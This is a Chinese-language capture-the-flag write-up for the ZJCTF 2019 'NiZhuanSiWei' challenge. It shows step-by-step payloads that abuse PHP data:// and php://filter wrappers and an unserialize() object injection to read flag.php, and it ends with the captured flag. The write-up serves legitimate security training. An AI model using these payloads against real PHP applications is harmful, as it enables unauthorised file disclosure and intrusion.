[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
这是一道有关文件包含漏洞的题目
打开题目之后,给了一段代码,首先进行代码审计
首先这里会读取一个text文件的内容并进行判断,一次我们首先需要绕过这第一层:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
查询相关资料得知,可以通过php伪协议中的data://伪协议将内容写进去,之后file_get_contents()函数就能够读取了,payload如下:
?text=data://text/plain,welcome to the zjctf
或者也可以进行base64编码之后再写入:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
在url输入之后回显如下:
接下来就是进行第二层的绕过了
这里对文件名进行了正则匹配过滤,因此就不能尝试读取flag.php了,但是下方又提示了useless.php
所以我们此时可以通过php伪协议中的php://filter来读取useless.php
利用filter协议读取文件,将文件的内容通过base64编码之后再进行输出,原因是如果不进行编码,文件在包含之后就会直接当成php文件进行执行,通过编码之后就可以直接读取到文件的源码
这里我们使用convert.base64-encode来进行过滤,常用:
php://filter/read=convert.base64-encode/resource=useless.php
所以此时的payload如下:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
在url输入之后此时的回显如下:
下面这一串base64字符就是useless.php文件的源码,我们将其解码得到如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
最后是第三层的绕过了,再次回到源码
发现在包含了useless.php之后对password变量进行了反序列化,根据useless.php的源码,最终的flag在flag.php当中,所以指定file为flag.php,然后创建对象进行序列化,代码如下:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
使用在线php运行工具执行上述代码之后得到如下结果:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
因此此时最终的payload为:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
此时的回显如下:
按F12查看页面源码得到flag
flag{7d2719e6-2926-4cd0-ab37-e611996aaa16}